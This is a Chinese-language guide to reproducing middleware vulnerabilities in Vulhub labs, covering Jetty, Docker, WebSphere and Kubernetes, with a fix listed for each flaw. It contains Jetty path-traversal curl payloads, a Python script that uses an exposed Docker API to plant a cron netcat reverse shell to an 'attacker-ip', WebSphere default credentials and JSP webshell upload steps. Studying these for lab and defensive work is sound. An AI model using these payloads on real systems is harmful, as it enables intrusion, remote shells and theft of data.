中间件安全漏洞复现与防御指南
目录
Kubernetes (K8s) 安全
Kubernetes(简称K8s)是由Google开源的一个用于自动部署、扩展和管理容器化应用程序的开源系统。它能够跨多台主机进行容器编排、快速按需扩展容器化应用及其资源、对应用实施状况检查、服务发现和负载均衡等。
安全问题
- API Server未授权访问:如果API Server配置不当,攻击者可能直接访问集群资源
- Dashboard未授权访问:K8s Dashboard如果配置不当可能暴露集群信息
- etcd未授权访问:存储集群状态的etcd如果暴露可能导致信息泄露
- kubelet未授权访问:节点上的kubelet服务如果配置不当可能被利用
- 容器逃逸:容器配置不当可能导致突破容器隔离
安全建议
- 实施RBAC权限控制
- 启用网络策略限制Pod间通信
- 定期更新K8s版本
- 限制API Server的访问
- 加密etcd存储
Jetty 安全漏洞
Jetty是一个开源的HTTP服务器和Servlet引擎,为基于Java的Web容器提供运行环境。相对于Tomcat,Jetty更加轻量、简易和灵活。
CVE-2021-28164 路径信息泄露漏洞
影响版本:Jetty 9.4.37(已在9.4.39修复)
漏洞原理:
Jetty 9.4.37引入了更精确的RFC3986 URI解码实现,默认模式允许%编码访问WEB-INF目录中的受保护资源,可能泄露Web应用程序实现的敏感信息。
复现步骤:
- 搭建Vulhub靶场环境
- 使用以下Payload访问敏感文件:
或直接在浏览器访问:curl -v "http://target-ip:8080/%2e/WEB-INF/web.xml"http://target-ip:8080/%2e/WEB-INF/web.xml
修复方案:
升级到Jetty 9.4.39或更高版本
CVE-2021-28169 双重解码信息泄露漏洞
影响版本:Jetty 9.4.40之前、10.0.2之前、11.0.2之前
漏洞原理:
Jetty Servlet中的ConcatServlet和WelcomeFilter类存在双重解码错误,攻击者可利用它们下载WEB-INF目录中的任意敏感文件。
复现步骤:
- 搭建Vulhub靶场环境
- 使用双URL编码绕过限制:
或直接访问:curl -v "http://target-ip:8080/static?/%2557EB-INF/web.xml"http://target-ip:8080/static?/WEB-INF/web.xml
修复方案:
升级到Jetty 9.4.40、10.0.2或11.0.2及以上版本
CVE-2021-34429 路径信息泄露漏洞
影响版本:
- Jetty 9.4.37-9.4.42
- 10.0.1-10.0.5
- 11.0.1-11.0.5
漏洞原理:
这是CVE-2021-28164的变体和绕过,通过Unicode编码或空字节截断等方式泄露WEB-INF目录内容。
复现步骤:
- 搭建Vulhub靶场环境
- 使用Unicode编码Payload:
或使用空字节截断:curl -v "http://target-ip:8080/%u002e/WEB-INF/web.xml"/.%00/WEB-INF/web.xml /a/b/..%00/WEB-INF/web.xml
修复方案:
升级到不受影响的Jetty版本
Docker 安全
Docker是一个开源的应用容器引擎,允许开发者打包应用及依赖到可移植的镜像中。
容器逃逸漏洞
检测容器环境:
- 检查是否存在.dockerenv文件:
ls -alh /.dockerenv - 查询系统进程的cgroup信息:
cat /proc/1/cgroup
容器逃逸类型:
-
内核漏洞引起:如Dirty COW(CVE-2016-5195)
- 利用工具:https://github.com/gebl/dirtycow-docker-vdso
- 上传到docker环境,编译执行即可
-
Docker软件设计引起:
- CVE-2019-5736:runc容器逃逸
- CVE-2019-14271:containerd-shim API暴露
- CVE-2020-15257:containerd API暴露
-
配置不当引起:
- 开启privileged(特权模式)
- 宿主机目录挂载
- 不合理的capabilities设置
- 不安全的sock通信方式
Docker守护程序API未经授权访问漏洞
漏洞原理:
Docker守护进程API如果暴露且未配置认证,攻击者可远程控制Docker服务。
复现步骤:
- 搭建Vulhub靶场环境
- 使用Python脚本利用:
import docker client = docker.DockerClient(base_url='http://target-ip:2375/') data = client.containers.run('alpine:latest', r'''sh -c "echo usr/bin/nc attacker-ip listen-port -e /bin/sh' >> /tmp/etc/crontabs/rumilc" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}}) - 在攻击机开启监听:
nc -lvvp 8888 - 等待反弹shell
防御措施:
- 配置TLS认证
- 限制Docker API的访问
- 使用防火墙规则限制2375端口
WebSphere 安全
WebSphere是IBM的软件平台,提供了完整的中间件基础设施。
反序列化漏洞(CVE-2015-7450)
影响版本:多个WebSphere版本
漏洞原理:
Apache Commons Collections (ACC) 3.2.1及4.0版本未能正确验证用户输入,其InvokerTransformer类在反序列化时存在安全漏洞,可导致远程代码执行。
复现步骤:
- 拉取环境:
docker pull iscrosales/websphere7 - 启动环境:
docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7 - 访问8880端口,确认存在漏洞
- 使用工具直接利用,执行命令如whoami、pwd等
修复方案:
- 升级到不受影响的版本
- 限制SOAP端口的访问
弱口令与后台Getshell
弱口令:
在6.x至7.0版本,后台可能使用默认凭证:
- websphere/websphere
- system/manager
- 有时仅需输入admin作为用户标识,无需密码
复现步骤:
- 访问管理控制台:
http://target-ip:9060/ibm/console/login.do - 使用弱口令登录
- 进入"WebSphere企业应用程序",点击"安装"
- 创建包含JSP木马的WAR包并上传
- 创建JSP木马文件
- 压缩为ZIP后更名为WAR
- 填写上下文根(如/shell)
- 启动应用程序
- 访问木马:
http://target-ip:9080/shell.jsp - 使用哥斯拉等工具连接
防御措施:
- 修改默认凭证
- 实施强密码策略
- 限制管理控制台的访问
- 定期更新补丁
CVE-2020-4450
漏洞原理:
IBM WebSphere Application Server存在反序列化漏洞,攻击者可利用此漏洞在系统上执行任意代码。
影响:
- 机密性:完全(泄露所有数据)
- 完整性:完全(可修改所有数据)
- 可用性:完全(可造成服务拒绝)
修复方案:
应用IBM提供的安全补丁
通用中间件安全测试流程
-
信息收集:
- 识别中间件名称、版本及第三方组件
- 端口扫描与服务识别
-
漏洞识别:
- 检查配置不当问题
- 查找公开漏洞
- 检查默认/弱口令
-
漏洞利用:
- 使用弱口令爆破
- 应用公开EXP
- 利用框架特定漏洞
-
权限提升:
- 容器逃逸
- 横向移动
- 持久化控制
防御建议
- 及时更新:保持中间件和组件为最新版本
- 最小权限:遵循最小权限原则配置服务和账户
- 安全配置:
- 禁用不必要的服务和功能
- 强化默认配置
- 网络隔离:
- 使用防火墙限制访问
- 实施网络分段
- 监控审计:
- 记录安全相关事件
- 实施异常行为检测
- 安全开发:
- 安全编码实践
- 定期安全测试